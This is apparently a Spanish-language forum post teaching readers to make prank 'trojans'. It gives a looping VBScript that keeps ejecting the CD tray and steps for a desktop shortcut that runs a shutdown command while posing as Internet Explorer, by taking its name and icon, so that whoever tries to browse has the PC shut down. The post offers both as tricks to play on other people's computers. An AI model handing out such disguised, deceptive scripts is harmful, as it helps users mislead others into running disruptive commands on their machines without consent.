Hoy, en finde, create un troyano

hoy les ensñare a crear un virus troyano, estos virus son inofensivos, es decir no daña la PC si no que hace pasar un mal rato xD

Bueno Primero el de Abrir y Cerrar la bandeja de CD

1ª) Abrimos el block de notas (NOTEPAD) y escribimos lo sgte

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Luego lo guardamos como loquequieran.vbs

Al ejecutar el archivo empieza a abir y cerrar la bandeja de entrada sin parar

Para detener esta broma hay que abrir el admin de tareas (ctrl+alt+supr) y terminar el proceso llamado "wscript.exe"


Apagar la PC

Ve a el escritorio y da click derecho>Nuevo>Acceso directo escribe shutdown -s -t 60 -c “elmensaje que quieras
da en siguiente y pon un nombre ejemplo Internet Explorer.exe da en sgte, ahora ve al icono, seleccionalo y da click derecho sobre el, luego en propiedades y luego en la pestaña "personalizar" y da click en cambiar icono, busca en icono de internet expolorer, seleccionalo y da click en aceptar, el icono del archivo habra cambiado al de internet explorer, ahora cualquiera que llegue a tu PC y vaya navegar en IE se le apagara xD (muy buena broma)



BUeno eso es todo por hoy, hasta la proxima!